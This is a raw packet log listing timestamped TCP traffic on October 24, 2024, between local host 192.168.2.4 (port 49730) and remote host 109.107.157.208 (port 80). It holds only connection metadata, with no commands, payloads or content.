Oct 24, 2024 13:27:09.125264883 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.125287056 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.125308990 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.125320911 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.125348091 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.125355005 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.125368118 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.125390053 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.125416040 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.125428915 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.125441074 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.125463009 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.125488043 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.125495911 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.125509977 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.125534058 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.125547886 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.125571012 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.125585079 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.125603914 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.125631094 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.125638008 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.125652075 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.125672102 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.125690937 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.125706911 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.125725985 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.125740051 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.125761986 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.125773907 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.125790119 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.125808001 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.125827074 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.125844002 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.125864983 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.125878096 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.125900984 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.125911951 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.125935078 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.125946045 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.125965118 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.125981092 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.125998974 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.126014948 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.126032114 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.126049995 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.126070023 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.126084089 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.126106024 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.126127958 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.126189947 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.126224041 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.126250982 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.126276016 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.126288891 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.126318932 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.126329899 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.126353979 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.126377106 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.126386881 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.126415968 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.126435995 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.126441956 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.126494884 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.126494884 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.126538992 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.126555920 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.126573086 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.126596928 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.126607895 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.126636982 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.126641035 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.126674891 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.126677990 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.126704931 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.126718044 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.126738071 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.126739979 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.126759052 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.126773119 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.126794100 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.126806021 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.126822948 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.126840115 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.126861095 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.126873970 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.126889944 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.126909018 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.126935959 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.126940966 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.126976013 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.126976013 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.127011061 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.127022982 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.127022982 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.127047062 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.127063036 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.127082109 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.127106905 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.127130032 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.127204895 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.127239943 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.127273083 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.127285957 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.127305984 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.127348900 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.127362013 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.127367973 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.127396107 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.127424002 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.127429962 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.127446890 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.127465010 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.127485037 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.127499104 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.127526045 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.127532959 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.127547026 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.127568007 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.127583981 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.127602100 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.127625942 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.127635956 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.127664089 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.127669096 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.127681971 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.127706051 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.127741098 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.127801895 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.127801895 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.127801895 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.423969030 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.424041033 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.424061060 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.424077034 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.424110889 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.424140930 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.424174070 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.424206972 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.424236059 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.424268961 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.424326897 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.424360991 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.424396038 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.424402952 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.424403906 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.424403906 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.424403906 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.424403906 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.424403906 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.424403906 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.424428940 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.424464941 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.424493074 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.424493074 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.424499035 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.424525023 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.424532890 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.424557924 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.424566984 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.424581051 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.424602032 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.424633026 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.424634933 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.424659014 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.424669027 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.424681902 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.424726963 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.424727917 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.424762011 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.424786091 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.424794912 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.424828053 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.424848080 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.424848080 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.424860954 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.424874067 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.424895048 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.424911022 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.424927950 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.424942970 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.424962997 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.424972057 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.424998999 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.425017118 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.425031900 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.425060034 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.425065994 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.425081015 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.425100088 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.425122976 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.425133944 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.425153017 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.425168037 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.425189972 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.425200939 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.425229073 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.425235987 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.425250053 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.425266981 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.425291061 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.425298929 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.425319910 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.425333023 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.425348997 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.425365925 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.425389051 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.425400019 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.425424099 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.425432920 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.425457954 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.425467968 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.425487995 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.425522089 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.425522089 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.425578117 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.425578117 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.425611973 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.425632000 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.425646067 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.425668955 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.425674915 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.425698996 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.425709009 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.425720930 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.425745964 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.425761938 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.425780058 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.425798893 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.425813913 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.425842047 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.425847054 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.425862074 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.425880909 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.425899029 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.425915956 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.425935984 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.425950050 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.425973892 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.425982952 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.425996065 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.426018000 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.426037073 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.426049948 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.426079035 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.426083088 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.426098108 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.426117897 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.426151037 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.426156998 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.426177025 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.426183939 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.426214933 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.426215887 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.426233053 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.426246881 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.426270008 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.426280022 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.426300049 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.426311970 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.426332951 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.426346064 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.426373005 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.426379919 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.426393986 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.426414013 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.426434040 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.426455975 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.426470995 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.426491022 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.426512003 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.426539898 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.426553965 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.426589966 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.426594973 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.426625013 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.426645041 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.426659107 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.426680088 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.426695108 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.426719904 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.426728010 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.426749945 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.426762104 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.426772118 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.426795006 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.426815987 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.426829100 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.426850080 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.426862001 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.426884890 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.426894903 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.426913977 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.426923990 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.426948071 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.426958084 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.426975965 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.426990986 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.427015066 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.427025080 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.427045107 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.427057981 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.427078962 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.427089930 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.427108049 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.427123070 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.427144051 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.427153111 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.427186012 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.427194118 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.427217960 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.427218914 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.427234888 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.427252054 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.427278996 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.427284956 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.427305937 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.427345991 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.427350044 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.427386045 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.427405119 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.427419901 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.427443981 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.427459955 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.427478075 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.427494049 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.427505970 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.427546024 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.427546978 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.427576065 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.427599907 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.427609921 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.427628994 CEST	49730	80	192.168.2.4	109.107.157.208
